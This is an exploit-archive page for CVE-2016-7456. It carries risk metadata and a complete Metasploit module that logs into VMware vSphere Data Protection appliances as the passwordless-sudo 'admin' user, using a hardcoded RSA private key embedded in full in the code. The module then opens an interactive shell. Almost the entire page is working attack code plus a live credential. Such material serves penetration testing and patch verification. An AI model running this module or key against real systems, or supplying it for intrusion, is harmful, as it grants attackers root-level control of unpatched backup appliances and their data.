VMware VDP Known SSH Key

2017.08.22
Credit: phroxvs
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell include Msf::Exploit::Remote::SSH def initialize(info = {}) super(update_info(info, { 'Name' => 'VMware VDP Known SSH Key', 'Description' => %q{ VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => ['phroxvs'], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-7456' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ], ], 'DisclosureDate' => "Dec 20 2016", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0 })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login() factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies']) opt_hash = { auth_methods: ['publickey'], port: rport, key_data: [ key_data ], use_agent: false, config: false, proxy: factory, non_interactive: true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) self.sockets.delete(ssh_socket.transport.socket) return conn else return false end end def exploit conn = do_login() if conn print_good "Successful login" service_data = { address: rhost, port: rport, protocol: 'tcp', service_name: 'ssh', workspace_id: myworkspace_id, } credential_data = { username: 'admin', private_type: :ssh_key, private_data: key_data, origin_type: :service, module_fullname: fullname, }.merge(service_data) core = create_credential(credential_data) login_data = { core: core, last_attempted: Time.now, }.merge(service_data) create_credential_login(login_data) handler(conn.lsock) end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X /PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo16 9jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3 Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3 xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4= -----END RSA PRIVATE KEY----- EOF end end


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